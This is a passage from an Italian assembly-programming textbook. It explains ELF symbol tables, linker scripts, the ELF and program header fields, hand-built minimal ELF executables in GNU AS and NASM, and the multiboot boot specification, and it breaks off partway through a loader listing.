I file oggetto, rilocabili o eseguibili, contengono un elenco di simboli, che Objdump raccoglie in una tabella, denominata '**SYMBOL TABLE**'. Vale la pena di confrontare tale tabella nelle varie situazioni descritte qui, come riepilogato nelle figure successive.

Figura 76.49. La tabella dei simboli nel file oggetto rilocabile prodotto dalla compilazione del file sorgente.

```
00000000 l    d  .text  00000000 .text
00000000 l    d  .data  00000000 .data
00000000 l    d  .bss   00000000 .bss
00000000 l       .data  00000000 aaa
00000000 l     O .bss   00000004 bbb
00000000 g       .text  00000000 _start
```

Figura 76.50. La tabella dei simboli nel file oggetto eseguibile prodotto da GNU LD secondo la configurazione predefinita.

```
08048074 l    d  .text  00000000 .text
08049080 l    d  .data  00000000 .data
08049084 l    d  .bss   00000000 .bss
00000000 l    d  *ABS*  00000000 .shstrtab
00000000 l    d  *ABS*  00000000 .symtab
00000000 l    d  *ABS*  00000000 .strtab
08049080 l       .data  00000000 aaa
08049084 l     O .bss   00000004 bbb
08048074 g       .text  00000000 _start
08049084 g       *ABS*  00000000 __bss_start
08049084 g       *ABS*  00000000 _edata
08049088 g       *ABS*  00000000 _end
```

Figura 76.51. La tabella dei simboli nel file oggetto eseguibile prodotto da GNU LD secondo la configurazione predisposta nella sezione precedente.

```
08048074 l    d  .text  00000000 .text
08048080 l    d  .data  00000000 .data
08048084 l    d  .bss   00000000 .bss
00000000 l    d  *ABS*  00000000 .shstrtab
00000000 l    d  *ABS*  00000000 .symtab
00000000 l    d  *ABS*  00000000 .strtab
08048080 l       .data  00000000 aaa
08048084 l     O .bss   00000004 bbb
08048074 g       .text  00000000 _start
```

Si può osservare che, dopo la compilazione che produce un file oggetto rilocabile, appaiono gli stessi simboli previsti nel sorgente, con l'aggiunta di nomi corrispondenti a quelli delle sezioni. Nella trasformazione standard in file eseguibile, si vede la comparsa di altri simboli, in particolare: '**.shstrtab**', '**.symtab**', '**.strtab**'. Questi rappresentano la collocazione nel file di informazioni amministrative, relative al formato ELF. Inoltre, nel caso specifico dell'eseguibile generato secondo la configurazione predefinita di GNU LD, si vede la comparsa di simboli aggiuntivi che evidentemente dipendono dall'organizzazione della configurazione stessa.

Per comprendere come si possano inserire dei simboli addizionali attraverso lo script per GNU LD, si può riprendere l'esempio già visto nella sezione precedente, ritoccando leggermente la definizione della sezione '**.bss**':

```
ENTRY (_start)
SECTIONS {
    . = 0x08048000 + SIZEOF_HEADERS;
    .text . : { *(.text) }
    .data ALIGN (0x1000) : { *(.data) }
    .bss . : {
        _sbss = .;
        *(.bss)
        *(COMMON)
        _ebss = .;
    }
}
```

I simboli che si vogliono aggiungere sono '**_sbss**' e '**_ebss**', con lo scopo di individuare l'inizio e la fine della nuova sezione '**.bss**'.

Figura 76.53. La tabella dei simboli dopo l'introduzione forzata di '**_sbss**' e '**_ebss**'.

```
SYMBOL TABLE:
08048074 l    d  .text  00000000 .text
08049000 l    d  .data  00000000 .data
08049004 l    d  .bss   00000000 .bss
00000000 l    d  *ABS*  00000000 .shstrtab
00000000 l    d  *ABS*  00000000 .symtab
00000000 l    d  *ABS*  00000000 .strtab
08049000 l       .data  00000000 aaa
08049004 l     O .bss   00000004 bbb
08049004 g       .bss   00000000 _sbss
08049008 g       .bss   00000000 _ebss
08048074 g       .text  00000000 _start
```

Eventualmente si può sperimentare cosa cambia nel contenuto dei file oggetto (rilocabili o eseguibili) quando si compila un sorgente con l'opzione '**--gstabs**' di GNU AS o con l'opzione '**-g**' di NASM.

76.3.7 Formati dei file oggetto

I file oggetto rilocabili e i file eseguibili possono essere realizzati secondo diversi formati, ma dipende dal sistema operativo qual è la scelta che si deve operare. Negli esempi mostrati, partendo dal presupposto di utilizzare un sistema GNU/Linux, si fa riferimento al formato ELF, in quanto è quello che deve essere usato e gli strumenti comuni sono già configurati per generare file conformi a tale standard.

Il formato del file che si deve produrre condiziona anche i tipi di sezioni che si possono dichiarare nel sorgente in linguaggio assemblatore. Il formato ELF dà molta libertà, comunque prevede una serie numerosa di sezioni con funzioni specifiche, in particolare '**.rodata**' che comporta la creazione di un segmento di memoria con dati inizializzati, ma in sola lettura.

76.4 Formato ELF

Il formato ELF è il contenitore di un programma che non si trova necessariamente nello stato di poter essere eseguito. Il formato ELF si distingue per la presenza di un'intestazione che si trova obbligatoriamente all'inizio del file; quindi, il contenuto del file è affiancato da una serie di tabelle che lo descrivono in base a vari criteri.

76.4.1 Sezioni e segmenti

Per semplificare la descrizione di un formato ELF, lo si può immaginare composto da sezioni, il cui scopo è quello di descrivere tutto ciò che compone il programma, e da segmenti, con i quali si descrive in che modo il programma deve essere rappresentato in memoria ed eseguito. L'informazione relativa alle sezioni è indispensabile quando deve intervenire un «collegatore» (*linker*); l'informazione data dai segmenti riguarda l'avvio del programma.

Se si vuole abbandonare questo tipo di rappresentazione astratta, il formato ELF lo si può vedere come un involucro del codice eseguibile e dei dati inizializzati, contenente un'intestazione di riconoscimento (che si trova obbligatoriamente all'inizio del file) e da una serie di tabelle,

più o meno concatenate tra di loro, alcune delle quali possono essere facoltative, in base al contesto per il quale il file oggetto è predisposto.

Tabella 76.54. Componenti principali che descrivono un formato ELF.

Tabella	Descrizione
ELF header	È l'intestazione del file e deve trovarsi necessariamente all'inizio dello stesso. Contiene poi i riferimenti alla tabella dei segmenti (*program header table*) e a quella delle sezioni (*section header table*).
program header table	È la tabella dei segmenti da caricare in memoria, con le informazioni necessarie a procedere in tal senso. La presenza di questa tabella è obbligatoria in un file oggetto eseguibile.
section header table	È la tabella delle sezioni.
string table	È la tabella delle stringhe, a cui fanno riferimento le altre tabelle quando devono indicare una stringa di qualunque tipo.
symbol table	È la tabella dei simboli associati a varie parti del contenuto. La tabella dei simboli, per indicare i nomi dei simboli, deve fare riferimento alla tabella delle stringhe.

76.4.2 Intestazione ELF

L'intestazione ELF è il componente più importante del formato, in quanto la sua presenta è obbligatoria. L'intestazione consente di identificare un file ELF come tale e di raggiungere le tabelle delle sezioni e dei segmenti, da cui poi si arriva al contenuto rimanente del file.

Tabella 76.55. Intestazione ELF secondo l'architettura x86, in particolare con le informazioni necessarie a produrre un file eseguibile.

Nome mnemonico	Dimensione x86-32	Dimensione x86-64	Descrizione

`e_ident[0]`
`e_ident[1]`
`e_ident[2]`
`e_ident[3]`
	8 bit
	8 bit
	8 bit
	8 bit
		8 bit
		8 bit
		8 bit
		8 bit
			Impronta di identificazione del formato: deve corrispondere a $7F_{16}$, '**E**', '**L**', '**F**'.

`e_ident[4]`	8 bit	8 bit	Definisce la classe del file: 01_{16} rappresenta un file oggetto a 32 bit; 02_{16} rappresenta invece un file a 64 bit.
`e_ident[5]`	8 bit	8 bit	Definisce la codifica dei dati: 01_{16} rappresenta un formato LSB, ovvero *little endian*; 02_{16} formato MSB, ovvero *big endian*. Sia 01_{16}, sia 02_{16}, si riferiscono a una rappresentazione numerica dei valori negativi attraverso il complemento a due.
`e_ident[6]`	8 bit	8 bit	Definisce la versione dell'intestazione (inizialmente esiste solo la versione 01_{16}).

Nome mnemonico	Dimensione x86-32	Dimensione x86-64	Descrizione
`e_ident[7]` `e_ident[8]` `e_ident[9]` `e_ident[10]` `e_ident[11]` `e_ident[12]` `e_ident[13]` `e_ident[14]`	8 bit 8 bit 8 bit 8 bit 8 bit 8 bit 8 bit 8 bit	8 bit 8 bit 8 bit 8 bit 8 bit 8 bit 8 bit 8 bit	Questi byte definiscono informazioni di importanza minore e di solito vengono lasciati a 00_{16}.
`e_ident[15]`	8 bit	8 bit	Dichiara la dimensione in byte della sequenza di identificazione. Il valore obbligato per questo byte è 10_{16}, ovvero 16_{10}.
`e_type`	16 bit	16 bit	Definisce il tipo di file oggetto. Un file oggetto rilocabile ha il codice 01_{16}; un file oggetto eseguibile ha il codice 02_{16}.
`e_machine`	16 bit	16 bit	Definisce il tipo di architettura. Il codice 03_{16} si riferisce al tipo Intel.
`e_version`	32 bit	32 bit	Definisce la versione del file oggetto (inizialmente esiste solo la versione 00000001_{16}).
`e_entry`	32 bit	64 bit	Contiene l'indirizzo a cui occorre passare il controllo per l'esecuzione del programma.
`e_phoff`	32 bit	64 bit	*program header table offset* Contiene lo scostamento, rispetto all'inizio del file, necessario per raggiungere il primo byte della tabella che descrive i segmenti da caricare in memoria. Tale tabella è nota come *program header table* ed è obbligatoria la sua presenza in un file oggetto eseguibile.
`e_shoff`	32 bit	64 bit	*section header table offset* Contiene lo scostamento, rispetto all'inizio del file, necessario per raggiungere il primo byte della tabella che descrive le sezioni. Tale tabella è nota come *section header table*.
`e_flags`	32 bit	32 bit	Contiene degli indicatori specifici per il tipo di microprocessore. Nel caso dell'architettura x86-32 può contenere semplicemente valori a zero.
`e_ehsize`	16 bit	16 bit	*ELF header size* Contiene la dimensione dell'intestazione ELF.
`e_phentsize`	16 bit	16 bit	*program header entry size* Definisce la dimensione di una voce descrittiva di un segmento, nella tabella dei segmenti. Tutte le voci di tale tabella hanno la stessa dimensione.
`e_phnum`	16 bit	16 bit	*program header number* Definisce la quantità di voci contenute nella tabella di descrizione dei segmenti.

Nome mnemonico	Dimensione x86-32	Dimensione x86-64	Descrizione
`e_shentsize`	16 bit	16 bit	*section header entry size* Definisce la dimensione di una voce descrittiva di una sezione, nella tabella delle sezioni. Tutte le voci di tale tabella hanno la stessa dimensione.
`e_shnum`	16 bit	16 bit	*section header number* Definisce la quantità di voci contenute nella tabella di descrizione delle sezioni.
`e_shstrndx`	16 bit	16 bit	*section header string index* Definisce l'indice, all'interno della tabella delle sezioni, che identifica la voce che fa riferimento alla tabella delle stringhe.

76.4.3 Descrizione dei segmenti

La descrizione dei segmenti, necessaria per mettere in esecuzione un programma, è contenuta nella tabella *program header*, composta da un array di voci, di dimensione uniforme, ognuna delle quali descrive un segmento. Si raggiunge la prima voce di questo array con lo scostamento indicato nell'intestazione ELF ('**`e_phoff`**'), quindi, sapendo la dimensione di ogni voce ('**`e_phentsize`**') e la quantità di queste ('**`e_phnum`**'), è possibile scandire anche le altre.

Tabella 76.56. Descrizione di una voce nella tabella dei segmenti, secondo l'architettura x86-32.

Nome mnemonico	Dimensione	Descrizione
`p_type`	32 bit	Definisce il tipo di operazione da compiere. La situazione più semplice è costituita da codice eseguibile e dati da caricare in memoria: 01_{16}.
`p_offset`	32 bit	Definisce lo scostamento, dall'inizio del file, necessario a raggiungere il primo byte del segmento.
`p_vaddr`	32 bit	Definisce l'indirizzo assoluto, nell'ambito della memoria virtuale, dove il primo byte del segmento deve trovarsi in memoria, una volta caricato.
`p_paddr`	32 bit	Equivale al campo '**`p_vaddr`**', ma si riferisce alla «memoria fisica». In un sistema GNU/Linux questo valore è sempre uguale a '**`p_vaddr`**'.
`p_filesz`	32 bit	Definisce la dimensione del segmento nel file e in casi particolari può essere pari a zero.
`p_memsz`	32 bit	Definisce la dimensione del segmento rappresentato in memoria e in casi particolari può essere pari a zero.
`p_flags`	32 bit	Definisce degli indicatori che descrivono i permessi del segmento: 1 = esecuzione; 2 = scrittura; 4 = lettura. Per avere permessi multipli si sommano i permessi elementari. Generalmente, il segmento di una porzione di codice dispone di permessi di accesso in lettura e in esecuzione, mentre quello di un'area di dati, consente normalmente la lettura e la scrittura.

Nome mnemonico	Dimensione	Descrizione
`p_align`	32 bit	Definisce l'allineamento in memoria, a blocchi del valore indicato, il quale a sua volta deve essere una potenza di due.

Tabella 76.57. Descrizione di una voce nella tabella dei segmenti, secondo l'architettura x86-64.

Nome mnemonico	Dimensione	Descrizione
`p_type`	32 bit	Definisce il tipo di operazione da compiere. La situazione più semplice è costituita da codice eseguibile e dati da caricare in memoria: 01_{16}.
`p_flags`	32 bit	Definisce degli indicatori che descrivono i permessi del segmento: 1 = esecuzione; 2 = scrittura; 4 = lettura. Per avere permessi multipli si sommano i permessi elementari. Generalmente, il segmento di una porzione di codice dispone di permessi di accesso in lettura e in esecuzione, mentre quello di un'area di dati, consente normalmente la lettura e la scrittura.
`p_offset`	64 bit	Definisce lo scostamento, dall'inizio del file, necessario a raggiungere il primo byte del segmento.
`p_vaddr`	64 bit	Definisce l'indirizzo assoluto, nell'ambito della memoria virtuale, dove il primo byte del segmento deve trovarsi in memoria, una volta caricato.
`p_paddr`	64 bit	Equivale al campo '**`p_vaddr`**', ma si riferisce alla «memoria fisica». In un sistema GNU/Linux questo valore è sempre uguale a '**`p_vaddr`**'.
`p_filesz`	64 bit	Definisce la dimensione del segmento nel file e in casi particolari può essere pari a zero.
`p_memsz`	64 bit	Definisce la dimensione del segmento rappresentato in memoria e in casi particolari può essere pari a zero.
`p_align`	64 bit	Definisce l'allineamento in memoria, a blocchi del valore indicato, il quale a sua volta deve essere una potenza di due.

76.4.4 Definizione manuale di un formato ELF

Un programma eseguibile in formato ELF deve contenere l'intestazione ELF e la descrizione dei segmenti; le sezioni possono anche mancare del tutto. Viene mostrato un esempio di programma banale (non fa altro che restituire il valore 77) in cui tutto, anche ciò che costituisce il formato ELF, viene definito nel sorgente. Il programma in sé trae spunto dal documento *A Whirlwind Tutorial on Creating Really Teensy ELF Executables for Linux* di Brian Raiter, come annotato alla fine del capitolo. Si osservi che nel sorgente le sezioni non vengono indicate affatto.

```
.code32
.globl _start
#
```

```
file_begin:
#
# ELF header.
#
elf_header_begin:
    .byte    0x7F            # e_ident
    .byte    'E', 'L', 'F'   #
    .byte    1               #
    .byte    1               #
    .byte    1               #
    .byte    0, 0, 0, 0      #
    .byte    0, 0, 0, 0      #
    .byte    16              #
    #
    .short   2               # e_type        2 = executable file
    .short   3               # e_machine     3 = 386
    .int     1               # e_version     1 = current version
    .int     _start          # e_entry           start address
    .int     (program_header_begin - file_begin)
                             # e_phoff           program header offset
    .int     0               # e_shoff       0 = no section header table
    .int     0               # e_flags           no flags
    .short   (elf_header_end - elf_header_begin)
                             # e_ehsize          ELF header size
    .short   (program_header_end - program_header_begin)
                             # e_phentsize       program header entry size
    .short   1               # e_phnum           program header entries
    .short   0               # e_shentsize   0 = no section header table
    .short   0               # e_shnum           section header entries
    .short   0               # e_shstrndx    0 = undefined
elf_header_end:
#
# Program header table, with just one entry.
#
program_header_begin:
    .int     1               # p_type        1 = segment to be loaded
    .int     0               # p_offset          segment's offset
    .int     0x08048000      # p_vaddr           segment's virtual address
    .int     0x08048000      # p_paddr           segment's physical address
    .int     (file_end - file_begin)
                             # p_filesz          file image size
    .int     (file_end - file_begin)
                             # p_memsz           memory image size
    .int     5               # p_flags       5 = read + execute
    .int     0x1000          # p_align           segment's memory alignment
program_header_end:
#
# Program code.
#
_start:
```

```
    mov $77, %ebx
    mov $1, %eax
    int $0x80
#
file_end:
```

Il sorgente scritto nel formato adatto a GNU AS va compilato così:

$ **as -o elf_test.o elf_test.s** [*Invio*]

$ **ld --oformat binary -o elf_test elf_test.o** [*Invio*]

Come si vede, GNU LD viene usato in modo da produrre un formato binario, puro e semplice, ovvero un file privo di formato, dato che è già tutto incluso nella descrizione del programma stesso.

Si mostra anche il sorgente adatto a NASM, dove va annotata anche l'origine, ovvero l'indirizzo in cui tutto deve essere caricato in memoria:

```
    bits 32
    org  0x08048000
;
file_begin:
;
; ELF header.
;
elf_header_begin:
    db       0x7F           ; e_ident
    db       'E', 'L', 'F'  ;
    db       1              ;
    db       1              ;
    db       1              ;
    db       0, 0, 0, 0     ;
    db       0, 0, 0, 0     ;
    db       16             ;
    ;
    dw       2              ; e_type        2 = executable file
    dw       3              ; e_machine     3 = 386
    dd       1              ; e_version     1 = current version
    dd       _start         ; e_entry           start address
    dd       (program_header_begin - file_begin)
                            ; e_phoff           program header offset
    dd       0              ; e_shoff       0 = no section header table
    dd       0              ; e_flags           no flags
    dw       (elf_header_end - elf_header_begin)
                            ; e_ehsize          ELF header size
    dw       (program_header_end - program_header_begin)
                            ; e_phentsize       program header entry size
    dw       1              ; e_phnum           program header entries
    dw       0              ; e_shentsize   0 = no section header table
    dw       0              ; e_shnum           section header entries
```

```
    dw      0               ; e_shstrndx    0 = undefined
elf_header_end:
;
; Program header table, with just one entry.
;
program_header_begin:
    dd      1               ; p_type        1 = segment to be loaded
    dd      0               ; p_offset          segment's offset
    dd      0x08048000      ; p_vaddr           segment's virtual address
    dd      0x08048000      ; p_paddr           segment's physical address
    dd      (file_end - file_begin)
                            ; p_filesz          file image size
    dd      (file_end - file_begin)
                            ; p_memsz           memory image size
    dd      5               ; p_flags       5 = 1 (execute) + 4 (read)
    dd      0x1000          ; p_align           segment's memory alignment
program_header_end:
;
; Program code.
;
_start:
    mov ebx, 77
    mov eax, 1
    int 0x80
;
file_end:
```

In questo caso, la compilazione non richiede altro che NASM, il quale produce direttamente il formato binario voluto:

$ **nasm -f bin -o elf_test elf_test.s** [*Invio*]

$ **chmod +x elf_test** [*Invio*]

I valori che rappresentano scostamenti e dimensioni del codice, sono calcolati attraverso il compilatore, facendo riferimento ai simboli rappresentati dalle etichette che delimitano le varie porzioni del sorgente. Ecco come si presenta il programma eseguibile dal punto di vista di Objdump:

$ **objdump -x elf_test** [*Invio*]

```
ELF_test:     file format elf32-i386
ELF_test
architecture: i386, flags 0x00000102:
EXEC_P, D_PAGED
start address 0x08048054

Program Header:
    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
         filesz 0x00000060 memsz 0x00000060 flags r-x
```

```
Sections:
Idx Name          Size      VMA       LMA       File off  Algn
SYMBOL TABLE:
no symbols
```

76.4.5 Esempio più complesso

Viene mostrato un esempio più complesso, composto sempre da una sola voce nella tabella dei segmenti; in particolare viene definita una variabile inizializzata, incorporata nel segmento del codice, che nel sorgente appare in fondo. Viene mostrata solo la versione per GNU AS, trattandosi del programma per il calcolo del fattoriale, già descritto in precedenza.

```
.code32
.globl _start
#
file_begin:
#
# ELF header.
#
elf_header_begin:
    .byte    0x7F          # e_ident
    .byte    'E', 'L', 'F'  #
    .byte    1             #
    .byte    1             #
    .byte    1             #
    .byte    0, 0, 0, 0    #
    .byte    0, 0, 0, 0    #
    .byte    16            #
    #
    .short   2             # e_type       2 = executable file
    .short   3             # e_machine    3 = 386
    .int     1             # e_version    1 = current version
    .int     _start        # e_entry          start address
    .int     (program_header_begin - file_begin)
                           # e_phoff          program header offset
    .int     0             # e_shoff      0 = no section header table
    .int     0             # e_flags          no flags
    .short   (elf_header_end - elf_header_begin)
                           # e_ehsize         ELF header size
    .short   (program_header_end - program_header_begin)
                           # e_phentsize      program header entry size
    .short   1             # e_phnum          program header entries
    .short   0             # e_shentsize  0 = no section header table
    .short   0             # e_shnum          section header entries
    .short   0             # e_shstrndx   0 = undefined
elf_header_end:
#
# Program header table, with just one entry.
#
program_header_begin:
```

```
    .int     1               # p_type        1 = segment to be loaded
    .int     0               # p_offset          segment's offset
    .int     0x08048000      # p_vaddr           segment's virtual address
    .int     0x08048000      # p_paddr           segment's physical address
    .int     (file_end - file_begin)
                             # p_filesz          file image size
    .int     (file_end - file_begin)
                             # p_memsz           memory image size
    .int     5               # p_flags       5 = read + execute
    .int     0x1000          # p_align           segment's memory alignment
program_header_end:
#
# Program code.
#
_start:
    mov   op1, %esi         # ESI contiene il valore di cui si vuole
                            # calcolare il fattoriale.
    push  %esi              # f_fact (ESI) ==> EAX
    call  f_fact            #
    add   $4, %esp          #
    mov   %eax, %ebx        # Restituisce il valore del fattoriale,
    mov   $1, %eax          # ammesso che sia abbastanza piccolo
    int   $0x80             # da poter essere rappresentato come
                            # valore di uscita.
#
# Fattoriale di un numero senza segno.
# f_fatt (a) ==> EAX
# EAX = a!
#
f_fact:
    enter $4, $0
    pusha
    #
    mov   8(%ebp), %edi     # Valore di cui calcolare il fattoriale.
    #
    cmp   $1, %edi          # Il fattoriale di 1 è 1.
    jz    f_fact_end_1      #
    #
    mov   %edi, %esi        # ESI contiene il valore di cui si vuole
    dec   %esi              # il fattoriale, ridotto di una unità.
    #
    push  %esi              # f_fact (ESI) ==> EAX
    call  f_fact            #
    add   $4, %esp          #
    mul   %edi              # EDX:EAX = EAX*EDI
    mov   %eax, -4(%ebp)    # Salva il risultato.
    jmp   f_fact_end_X      # Conclude la funzione.
    #
f_fact_end_1:
    popa                    # Conclude la funzione con EAX = 1.
```

```
    mov $1, %eax            #
    leave                   #
    ret                     #
f_fact_end_X:
    popa                    # Conclude la funzione con EAX pari
    mov -4(%ebp), %eax      # al valore salvato nella variabile
    leave                   # locale.
    ret                     #
#
# Initialized data.
#
op1:    .int    5
#
file_end:
```

76.5 Programmi completamente autonomi

A volte esiste la necessità di realizzare un programma funzionante in modo autonomo, ovvero *stand alone*, senza il sostegno del sistema operativo. Un lavoro di questo tipo richiede lo studio delle stesse problematiche che riguardano inizialmente la costruzione di un nuovo sistema operativo, ma di norma è meglio fermarsi alla produzione di un programma singolo.[2]

C'è da osservare che l'avvio di un programma «autonomo» in un elaboratore x86 può essere di una complessità mostruosa, a causa di problematiche ereditate dall'architettura originale del microprocessore 8088/8086. La prima difficoltà che si incontra a tale proposito sta nel far sì che il microprocessore si metta a lavorare in «modalità protetta», ovvero in una condizione che consenta di utilizzare in modo ragionevole la memoria centrale. Nel tempo, questa e altre questioni sono diventate di competenza dei programmi che si occupano di avviare un sistema operativo, come è il caso di GRUB 1 e di SYSLINUX, che così predispongono un contesto più confortevole al programma o al kernel da avviare successivamente.

Qui si mostrano esempi che utilizzano anche codice in linguaggio C, il quale viene descritto a partire dal capitolo 77.

76.5.1 Le specifiche «multiboot»

Le specifiche *multiboot* sono definite dal documento *Multiboot specification*, disponibile presso ⟨http://www.gnu.org/software/grub/manual/multiboot/ ⟩. Si tratta della definizione di un'interfaccia tra sistema di avvio e sistema operativo (o programma autonomo), inizialmente per un'architettura x86. Il documento citato contiene sia le specifiche, sia un esempio completo di programma che interagisce con il sistema di avvio secondo le specifiche stesse. Qui si riassumono i concetti principali.

76.5.1.1 Formato del file che deve essere avviato

Il file-immagine che contiene il programma da avviare (programma che potrebbe essere il kernel di un sistema operativo), deve contenere un'intestazione particolare, definita *multiboot header*, costituita in pratica da un'impronta di riconoscimento e da una serie di dati. Attraverso questa intestazione, il sistema di avvio è almeno in grado di riconoscere il file-immagine come qualcosa che deve essere avviato effettivamente e di recepirne le caratteristiche.

Questa intestazione deve trovarsi nella parte iniziale del file-immagine da caricare ed eseguire, ma non è necessario che sia esattamente all'inizio dello stesso, essendo sufficiente che sia contenuta completamente entro i primi 8 Kibyte.

Figura 76.62. La prima parte obbligatoria dell'intestazione.

magic	32 bit senza segno 1BADB002
flags	32 bit senza segno
checksum	32 bit senza segno −(*magic* + *flags*)

Il primo campo da 32 bit, definito ***magic***, contiene un'impronta di riconoscimento, costituita precisamente dal numero $1BADB002_{16}$. Questa serve al sistema di avvio a individuare la presenza e l'inizio di una tale intestazione. Il secondo campo da 32 bit, definito ***flags***, contiene degli indicatori con i quali si richiede un certo comportamento al sistema di avvio. Il terzo campo da 32 bit, definito ***checksum***, contiene un numero calcolato in modo tale che la somma tra i numeri contenuti nei tre campi da 32 bit porti a ottenere zero, senza considerare i riporti.

I nomi indicati sono quelli definiti dallo standard e, come si vede, il campo ***checksum*** si ottiene calcolando −(***magic*** + ***flags***), dove si deve intendere che i calcoli avvengono con valori interi senza segno e si ignorano i riporti.

Se il file-immagine da avviare è informato ELF, le informazioni che il sistema di avvio necessita per piazzarlo correttamente in memoria e per passare il controllo allo stesso, sono già disponibili e non c'è la necessità di occuparsi di altri campi facoltativi che possono seguire i tre già descritti. Stante questa semplificazione, per quanto riguarda il campo ***flags*** sono importanti i primi due bit, mentre gli altri vanno lasciati a zero.

Figura 76.63. Il campo ***flags*** e il suo utilizzo fondamentale.

bit 31	bit 30	bit 29	bit 28	bit 27	bit 26	bit 25	bit 24	bit 23	bit 22	bit 21	bit 20	bit 19	bit 18	bit 17	bit 16	bit 15	bit 14	bit 13	bit 12	bit 11	bit 10	bit 9	bit 8	bit 7	bit 6	bit 5	bit 4	bit 3	bit 2	bit 1	bit 0
0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	1	1

00000003_{16}

bit 1: *informazioni sulla memoria disponibile*

bit 0: *allineamento dei moduli all'inizio di una pagina (4 Kibyte)*

Il bit meno significativo del campo ***flags***, se impostato a uno, serve a richiedere il caricamento in memoria dei moduli eventuali (assieme al file-immagine principale) in modo che risultino allineati all'inizio di una «pagina» (ovvero all'inizio di un blocco da 4 Kibyte). Alcuni sistemi operativi hanno la necessità di trovare i moduli allineati in questo modo e in generale l'attivazione di tale bit non può creare danno.

Il secondo bit del campo ***flags*** serve a richiedere al sistema di avvio di passare le informazioni disponibili sulla memoria. Queste informazioni vengono rese disponibili a partire da un'area a cui punta inizialmente il registro ***EBX***. In generale si tratta di un'informazione utile (che al massimo può essere ignorata), pertanto conviene attivare anche questo bit.

Figura 76.64. Calcolo del campo ***checksum***.

```
                                complemento a due
magic     1BADB002+        FFFFFFFF-              1BADB005+
flags     00000003=        1BADB005=              E4524FFB=
          1BADB005         E4524FFA+             100000000
                           00000001=
                  checksum E4524FFB     verifica della somma di controllo
```

76.5.1.2 Situazione dopo l'avvio del file-immagine

Quando, dopo il trasferimento in memoria del programma, il sistema di avvio passa il controllo allo stesso, la situazione che questo programma si trova è sostanzialmente quella seguente, dove però sono stati omessi molti dettagli importanti:

- il microprocessore è in modalità protetta;
- il registro ***EAX*** contiene il numero $2BADB002_{16}$ (si osservi che la prima cifra è cambiata, rispetto all'impronta che deve avere il file-immagine da avviare);
- il registro ***EBX*** deve contenere l'indirizzo fisico, a 32 bit, di una serie di campi contenenti informazioni passate dal sistema di avvio (*multiboot information structure*).

Di norma, la prima cosa che fa il programma che è stato avviato in questo modo è di azzerare il registro ***EFLAGS*** e di predisporre uno spazio per la pila dei dati, posizionando il registro ***ESP*** di conseguenza.

76.5.1.3 Informazioni passate dal sistema di avvio al programma

Il sistema di avvio conforme alle specifiche *multiboot* offre una serie di informazioni, collocate in una struttura che parte dall'indirizzo indicato nel registro ***EBX***. Questa struttura ha un certo grado di complessità, in quanto può fare riferimento ad altre strutture. Qui viene descritta brevemente solo una prima porzione di questa struttura; per l'approfondimento occorre consultare le specifiche, pubblicate presso ⟨http://www.gnu.org/software/grub/manual/multiboot/⟩.

Figura 76.65. Inizio della struttura informativa offerta da un sistema di avvio aderente alle specifiche *multiboot*.

EBX + 0 flags
EBX + 4 mem_lower
EBX + 8 mem_upper
dipende dal bit zero del campo «flags»
EBX + 8 boot_device *dipende dal bit 1 di «flags»*
EBX + 12 cmdline *dipende dal bit 2 di «flags»*
⋮
omissis

Tabella 76.66. Descrizione dei primi campi della struttura informativa fornita dal sistema di avvio *multiboot*.

Nome mnemonico del campo	bit del campo '**flags**' da cui dipende	Descrizione
flags		Il primo campo definisce una serie di indicatori, con i quali si dichiara se una certa informazione, successiva, viene fornita ed è valida.
mem_lower mem_upper	0	Se è attivo il bit meno significativo del campo '**flags**', i campi '**mem_lower**' e '**mem_upper**' contengono la dimensione della memoria bassa (da zero a un massimo di 640 Kibyte) e della memoria alta (quella che si trova a partire da un mebibyte). La dimensione è da intendersi in kibibyte (simbolo Kibyte) e, per quanto riguarda la memoria alta, viene indicata solo la dimensione continua fino al primo «buco».
boot_device	1	Se è attivo il secondo bit, partendo dal lato meno significativo, il campo '**boot_device**' dà informazioni sull'unità di avvio. L'informazione è divisa in quattro byte, come descritto nelle specifiche *multiboot*.
cmdline	2	Se è attivo il terzo bit, partendo dal lato meno significativo, il campo '**cmdline**' contiene l'indirizzo iniziale di una stringa che riproduce la riga di comando passata al kernel.

Come si può intuire leggendo la tabella che descrive i primi cinque campi, il significato dei bit del campo '**flags**' viene attribuito, mano a mano che l'aggiornamento delle specifiche prevede l'espansione della struttura informativa. Per esempio, un campo '**flags**' con il valore 100_2 sta a significare che esistono i campi fino a '**cmdline**' e il contenuto di quelli precedenti non è valido, ma i campi successivi, non esistono affatto. La comprensione di questo concetto dovrebbe rendere un po' più semplice la lettura delle specifiche.

76.5.2 Esempio di programma da avviare secondo le specifiche «multiboot»

I listati seguenti mostrano il contenuto dei file necessari a produrre un programma da avviare secondo le specifiche *multiboot*. Per la precisione, il programma non fa alcunché e serve solo come base di partenza per lo sviluppo di qualcosa di più complesso, con l'ausilio del linguaggio C. I file mostrati hanno, nell'ordine di apparizione, i nomi: '`loader.s`', '`kernel.c`', '`linker.ld`' e '`Makefile`'.

Listato 76.67. File '`loader.s`' usato per la prima parte del codice, contenente l'intestazione *multiboot* e la preparazione dell'ambiente minimo di funzionamento, compresa la collocazione della pila dei dati. Il programma chiama la funzione '**`_kernel`**' presente nel file '`kernel.c`', passando come parametri il codice di riconoscimento del sistema di avvio e il puntatore alle altre informazioni che questo può fornire. Al ritorno dalla chiamata della funzione, il programma tenta di arrestare il microprocessore, ma se non ci riesce si mette in un ciclo senza fine che produce apparentemente lo stesso risultato.

```
.globl  _loader
.extern _kernel
#
# Dimensione della pila interna al kernel. Qui vengono previsti
# 16384 elementi (0x4000) da 32 bit, pari a 65536 byte.
#
.equ STACK_SIZE,  0x4000
#
# Si inizia subito con il codice che si mescola con i dati.
#
_loader:
    jmp boot     # Salta all'inizio del codice.
    .align 4     # Fa in modo di riempire lo spazio mancante
                 # al completamento di un blocco di 4 byte.
#
# Intestazione «multiboot», poco dopo l'inizio del file-immagine.
#
multiboot_header:
    .int 0x1BADB002                     # magic
    .int 0x00000003                     # flags
    .int -(0x1BADB002 + 0x00000003)     # checksum
#
# Inizia il codice di avvio.
#
boot:
    #
    # Regola ESP alla base della pila.
    #
    movl $(stack_max + STACK_SIZE), %esp
    #
    # Azzera gli indicatori (e per questo usa la pila appena sistemata).
    #
    pushl $0
    popf
```

```
    #
    # Chiama il kernel scritto in C, passandogli le informazioni
    # ottenute dal sistema di avvio.
    #
    # void _kernel (unsigned int magic, void *multiboot_info)
    #
